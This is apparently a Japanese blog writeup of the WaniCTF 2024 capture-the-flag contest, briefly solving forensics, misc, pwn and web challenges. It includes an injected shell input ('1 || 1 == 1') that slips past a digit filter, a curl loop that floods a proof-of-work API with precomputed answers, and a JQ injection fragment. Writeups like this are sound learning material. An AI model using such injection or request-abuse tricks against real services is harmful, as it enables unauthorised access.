WaniCTF 2024
先日のSECCON CTFに引き続き、WaniCTFに参加しました。
6問しか解けませんでしたが、Writeupをさらっと書いていきます。
目次
[Forensics]tiny_usb

添付されているファイルを開くと、chal_tiny_usb.iso
というのがあるので、マウントすると画像ファイルがある。
その画像ファイルにフラグが書いてある。
[Forensics]codebreaker

添付ファイルを開くとQRコードの画像の上からバツ印が書かれた画像がある。

QRコードは特定の部分をちゃんとすれば、誤り補正でちゃんと読み込んでくれるので、とりあえずきれいにしていく。
以下のサイトを参考に、「アライメントパターン」「クワイエットゾーン」「タイミングパターン」がちゃんとわかるようにきれいにした。
https://www.keyence.co.jp/ss/products/autoid/codereader/basic2d_qr.jsp
修正した画像がこちら。

これを読み込むとフラグがゲットできる。
[Misc]sh

与えられた数値を予測する問題。
#!/usr/bin/env sh
set -euo pipefail
printf "Can you guess the number? > "
read i
if printf $i | grep -e [^0-9]; then
printf "bye hacker!"
exit 1
fi
r=$(head -c512 /dev/urandom | tr -dc 0-9)
if [[ $r == $i ]]; then
printf "How did you know?!"
cat flag.txt
else
printf "Nope. It was $r."
fi
printf $i | grep -e [^0-9]
の部分があるから数字以外入れちゃいけないかと思いきや、数字+半角スペース+それ以外の入力でも通過できることがわかったので、あとはf [[ $r == $i ]]; then
を通過できるような文字を入力すればOK。
1 || 1 == 1
という入力をすることで、ORの後の条件が必ずtrueになるので、これで無事フラグをゲットすることに成功した。
(ちなみにこれをWindowsのGit Bash上で試してたら、うまくいかなくて少しハマってました
[Pwnable]nc

これはncを使う練習問題。与えられたソースコードは以下のようになっていて、15+1を16進数で答える問題のようだ。
void win(){
system("cat FLAG");
}
int main(){
init();
int answer;
printf("15+1=0x");
scanf("%d", &answer);
if(answer == 10){
win();
}
else{
puts("incorecct:(");
}
return 0;
}
10を入力することでフラグをゲット
[Web]Bad_Worker

サイトにアクセスすると、フラグを取得できるボタンがある。

ただ、「Fetch FLAG.txt」を押しても正しいフラグはゲットできない。

開発者ツールで通信内容を見てみるとService Workerが取得している。

service-worker.jsを見てみるとFLAG.txtを取得しようとすると、DUMMY.txtの内容を取得するようになっているっぽいので、それをcurlでリクエストするとフラグゲット。
(今更気づいたけど、ブラウザでそのURLにアクセスしてもフラグゲットできないのか。。。
[Web]pow

サイトにアクセスするとなんか頑張って計算している。

以下のハッシュ計算がtrueの場合にリクエストを投げているらしい。
function hash(input) {
let result = input;
for (let i = 0; i < 10; i++) {
result = CryptoJS.SHA256(result);
}
return (result.words[0] & 0xFFFFFF00) === 0;
}
なんかうまい方法はないかと思い、とりあえずリクエストをcurlで再送してみたら、progressが1増えた。
じゃあこれを1000000回やればいいのか…?と思い、1秒ごとリクエストを投げるようにしてみたら、すぐにアクセス制限にひっかかった。
よくよく見ると、リクエストボディが配列形式となっているので、もしやと思い、うまくいく数字を配列でリクエストすると、ちゃんとリクエストした配列の数分progressが増えた。

どこまでいけるか試した結果、100000くらいまではいけそうだったので、それを10回くらいリクエストするようなスクリプトを書いてフラグをゲットした。
#!/bin/sh
data='"2862152"'
for i in `seq 1 100000`
do
data+=',"7844289"'
done
echo "[${data}]" > data.txt
for j in `seq 1 10`
do
curl 'https://web-pow-lz56g6.wanictf.org/api/pow' \
-H 'accept: */*' \
-H 'accept-language: ja' \
-H 'content-type: application/json' \
-H 'cookie: pow_session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiI2MmZhZDdiMy1mM2Y1LTRhYzctYWY2Yi1lYmNhNmUwZTk0YzMifQ.7YYhRvb4TSNs-M9WPNP9hXw3t2A00uGQFPq-IaDYajs' \
-H 'origin: https://web-pow-lz56g6.wanictf.org' \
-H 'priority: u=1, i' \
-H 'referer: https://web-pow-lz56g6.wanictf.org/' \
-H 'sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"' \
-H 'sec-ch-ua-mobile: ?0' \
-H 'sec-ch-ua-platform: "Windows"' \
-H 'sec-fetch-dest: empty' \
-H 'sec-fetch-mode: cors' \
-H 'sec-fetch-site: same-origin' \
-H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36' \
-d @data.txt
sleep 10
done
解きたかった問題
[Crypto]beginners_rsa
素数が5個あるパターンが出てきて、「???」となった。
nを因数分解したら解が1つしかないのに気づけなかったのが敗因。
他の人の解き方を参考にsage
をインストールしたので、次こそは脱Beginnersを目指す…
[Crypto]beginners_aes
こっちはrsaが解けないことであんまりちゃんと見てなかったのもあったかもしれない、、、
他の人の解き方を参考に次はできるようにします。
[Forensics]I_wanna_be_a_streamer
パケットキャプチャからうまくデータを取り出すことができず断念。
なんかいいところまで行ってた気がするんだけどなー
[Misc]JQ Playground
入力する文字が9文字以上だとはじかれてしまう制限がきつくて苦しんでました。
' -R /* #
とかだと9文字で、これ以上無理では… ってなっていたけど、他の人のwriteupを見て目からうろこでした。まさか最後がシングルクォートだとは、、、
[Reversing]lambda
この手の問題、毎回Chat-GPT君にお願いするんですけど、うまくいかず結局フラグがとれず。
[Reversing]home
Ghidraをインストールして、gdbを駆使して臨むも、constructFlag
関数を呼び出した後にどこにフラグのデータがあるかわからず終了。もうちょっと特訓せねば。
[Web]One Day One Letter
ソースをある程度読んで、無理では…と思ってしまった。
まさかtimeserverを自分で立ち上げるとは、、、
次は解けるようにします。
[Web]Noscript
これはもうちょっとちゃんと取り組んでいれば解けたかもしれない問題。
他の分野にいろいろ手を出してしまったので、こういうのは腰を据えて解けるようになりたい。
コメントを残す